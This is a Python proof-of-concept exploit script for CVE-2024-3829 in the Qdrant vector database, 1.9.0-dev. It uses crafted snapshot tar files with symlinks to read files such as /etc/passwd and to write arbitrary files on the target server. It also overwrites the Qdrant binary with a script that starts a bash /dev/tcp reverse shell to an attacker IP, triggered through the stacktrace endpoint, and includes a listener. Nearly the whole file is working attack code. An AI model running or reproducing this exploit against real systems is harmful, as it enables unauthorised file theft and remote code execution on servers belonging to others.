import tarfile from io import BytesIO from random import randbytes from argparse import ArgumentParser from pathlib import Path import socket import threading import os import requests import time def listener(timeout=120): global attacker_port with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv: srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: srv.bind(("0.0.0.0", attacker_port)) print(f"[x] Listener started on port {attacker_port}") srv.listen(1) srv.settimeout(timeout) try: conn, addr = srv.accept() except socket.timeout: print(f"[!] Listener timed out after {timeout} seconds") return with conn: print(f"[x] Connected from: {addr}") data = conn.recv(1024).decode(errors="ignore") print(f"[x] RX: {data}") conn.sendall(b"pong") except OSError as e: if e.errno == 98: print(f"[!] Error: Port {attacker_port} is already in use") print("[!] Please use a different port with -ap/--attacker_port option") else: print(f"[!] Error binding to port {attacker_port}: {e}") def read_file_content(target_url, target_port, target_path, target_file_name): global UNIQUE_PROJECT_NAME rsp = requests.put(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}", json={}) print(f"[x] created collection {UNIQUE_PROJECT_NAME}") rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={}) # print(f"[x] DEBUG: rsp.text") response_json = rsp.json() if "result" not in response_json: print(f"[x] API-Fehler: {response_json.get('status', {}).get('error', 'Unbekannter Fehler')}") return snapshot_name = response_json["result"]["name"] print(f"[x] create snapshot with name: {snapshot_name}") rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}") snapshot = BytesIO(rsp.content) print(f"[x] Getting snapshot with name: {snapshot_name}") with tarfile.open(fileobj=snapshot, mode="a") as tar: info = tarfile.TarInfo("0/wal/sneaky") info.type = tarfile.SYMTYPE print("[x] Add symlink to the snapshot tar file") info.linkname = str(target_path / target_file_name) tar.addfile(info) rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/upload", files={ "snapshot": ("x.snapshot", snapshot.getvalue(), "application/tar") }) print("[x] uploaded modified snapshot to recreate collection") rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={}) print(f"[x] Recreate snapshot with status {rsp.status_code}, \n[x] Response: {rsp.json()}") snapshot_name = rsp.json()["result"]["name"] rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}") print(f"[x] Download snapshot with status {rsp.status_code}") snapshot = BytesIO(rsp.content) with tarfile.open(fileobj=snapshot, mode="r") as tar: buf = tar.extractfile("0/wal/sneaky").read() try: print(f"[x] this is the content from the file: {buf.decode()}") except UnicodeDecodeError: print(f"[x] this is the content from the file (binary): {buf}") requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}") print(f"[x] deleted snapshot {snapshot_name}") requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}") print(f"[x] deleted collection {UNIQUE_PROJECT_NAME}") def write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name): global UNIQUE_PROJECT_NAME rsp = requests.put(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}", json={}) print(f"[x] created collection {UNIQUE_PROJECT_NAME}") # create and retrieve a snapshot: rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={}) snapshot_name = rsp.json()["result"]["name"] rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}") snapshot = BytesIO(rsp.content) # create a fake tar with payload, you can also set custom file attributes # if you need the file to be executable, etc: fake_tar = BytesIO() with tarfile.open(fileobj=fake_tar, mode="w") as tar: # tar.add(str(Path(attacker_path) / attacker_file_name), arcname=str(attacker_file_name)) tar.add(str(Path(attacker_path) / attacker_file_name), arcname=str(Path(target_path).name)) # modify the snapshot to add a new segment .tar with a payload and a pre-existing # directory symlink with the same name (sans .tar); # during recovery process it will try to extract the contents of redirect.tar to redirect/ with tarfile.open(fileobj=snapshot, mode="a") as tar: info = tarfile.TarInfo("0/segments/redirect.tar") info.size = len(fake_tar.getvalue()) tar.addfile(info, fileobj=BytesIO(fake_tar.getvalue())) info = tarfile.TarInfo("0/segments/redirect") info.type = tarfile.SYMTYPE info.linkname = str(Path(target_path).parent) tar.addfile(info) rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/upload", files={ "snapshot": ("x.snapshot", snapshot.getvalue(), "application/tar") }) # rsp = requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}") # print(f"[x] deleted snapshot {snapshot_name}") # rsp = requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}") # print(f"[x] deleted collection {UNIQUE_PROJECT_NAME}") def execute_reverse_shell(target_url, target_port, attacker_ip, attacker_port): print("[x] Starting reverse shell execution") attacker_path = "/tmp/" attacker_file_name = "shell.sh" target_path = "/tmp/" # shell_content = f"#!/bin/bash\n/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" shell_content = f"""#!/bin/bash exec 5<>/dev/tcp/{attacker_ip}/{attacker_port} cat <&5 | while read line; do $line 2>&5 >&5; done """ shell_local_path = Path(attacker_path) / attacker_file_name print(f"DEBUG MSG: {shell_local_path}") with open(str(shell_local_path), 'w') as f: f.write(shell_content) os.chmod(str(shell_local_path), 0o755) print(f"[x] Created reverse shell script at {shell_local_path}") write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name) # Now, to trigger RCE, we need to overwrite /qdrant/qdrant with a script that executes the shell.sh # As per research, /proc/self/exe points to deleted /qdrant/qdrant, so overwriting it triggers execution attacker_path = "/tmp/" trigger_file_name = "rev" target_path = "/qdrant/qdrant" trigger_content = "#!/bin/bash\nbash /tmp/shell.sh" trigger_local = Path(attacker_path) / trigger_file_name print(f"DEBUG MSG: {trigger_local}") with open(str(trigger_local), 'w') as f: f.write(trigger_content) os.chmod(str(trigger_local), 0o755) print(f"[x] Created trigger script to overwrite {target_path}") # Write the trigger script to /qdrant/qdrant write_file_content(target_url, target_port, target_path, attacker_path, trigger_file_name) print(f"[x] Uploaded trigger script to overwrite {target_path}") time.sleep(1) target_path = Path("/qdrant/qdrant (deleted)") write_file_content(target_url, target_port, target_path, attacker_path, trigger_file_name) # as described in the research, this will overwrite /qdrant/qdrant, but /proc/self/exe will # now point to /qdrant/qdrant (deleted), lets write contents of trigger_shell to # qdrant (deleted) too to trigger the RCE. # trigger the shell: # http://localhost:6333/stacktrace listener_thread = threading.Thread( target=listener, kwargs={"timeout": None}, daemon=False ) listener_thread.start() print("[x] Triggering RCE via stacktrace endpoint") time.sleep(2) try: print("start triggering stacktrace") rsp = requests.get(f"{target_url}:{target_port}/stacktrace") print(f"[x] Stacktrace request status: {rsp.status_code}") except Exception as e: print(f"[x] Error triggering stacktrace: {e}") print("[x] Waiting for incoming connection...") listener_thread.join() if __name__ == "__main__": LOGO = """ ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ########################### _______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______ | || | | || | | || _ || || | | | | | | _ | | || _ | | || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | | | || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| | | _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ | | |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | | |_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___| ############################################### by fabse-hack.de ############################################### """ print(LOGO) global UNIQUE_PROJECT_NAME, attacker_port TARGET_URL_DEFAULT = "http://192.168.178.10" TARGET_PORT_DEFAULT = 6333 ATTACKER_IP_DEFAULT = "127.0.0.1" ATTACKER_PORT_DEFAULT = 9001 UNIQUE_PROJECT_NAME = "project" + randbytes(8).hex() parser = ArgumentParser( description="PoC for CVE-2024-3829: Arbitrary File Read/Write in qdrant 1.9.0-dev", epilog="This script will read the contents of /etc/passwd and write a file with attacker-controlled content to the target server. \n" "Make sure to adjust the TARGET_URL, TARGET_PATH_READ, TARGET_PATH_WRITE, ATTACKER_IP, and ATTACKER_PORT variables as needed. \n" "For execution documentation: \n" "python cve_2024_3829.py --help" ) parser.add_argument("-m", "--mode", choices=["read", "write", "reverse_shell"], required=True, help="Mode: read file, write file, or get an reverse shell") # target parameter: parser.add_argument("-tu", "--target_url", default=TARGET_URL_DEFAULT, help="Target Qdrant base URL") parser.add_argument("-tp", "--target_port", type=int, default=TARGET_PORT_DEFAULT, help="Target Qdrant port") parser.add_argument("-tpath", "--target_path", default="/etc/", help="Remote path on target host") parser.add_argument("-tf", "--target_file_name", default="passwd", help="Remote file name on target host") # attacker parameter: parser.add_argument("-af", "--attacker_file_name", default="shell.sh", help="Content to write to the target file in write mode") parser.add_argument("-apath", "--attacker_path", default="/tmp/", help="Path on target for the file written in write mode") parser.add_argument("-ai", "--attacker_ip", default=ATTACKER_IP_DEFAULT, help="Attacker IP for reverse shell") parser.add_argument("-ap", "--attacker_port", type=int, default=ATTACKER_PORT_DEFAULT, help="Attacker port for reverse shell") args = parser.parse_args() # getting parameter into variables for better readability # target: target_url = args.target_url target_port = args.target_port target_path = Path(args.target_path) target_file_name = args.target_file_name # attacker: attacker_path = Path(args.attacker_path) attacker_file_name = args.attacker_file_name attacker_ip = args.attacker_ip attacker_port = args.attacker_port # mode parameter: if args.mode == "read": print("[x] Starting exploit in reading mode") read_file_content(target_url, target_port, target_path, target_file_name) elif args.mode == "write": print("[x] Starting exploit in writing mode") write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name) elif args.mode == "reverse_shell": print("[x] Starting exploit in reverse shell mode") execute_reverse_shell(target_url, target_port, attacker_ip, attacker_port)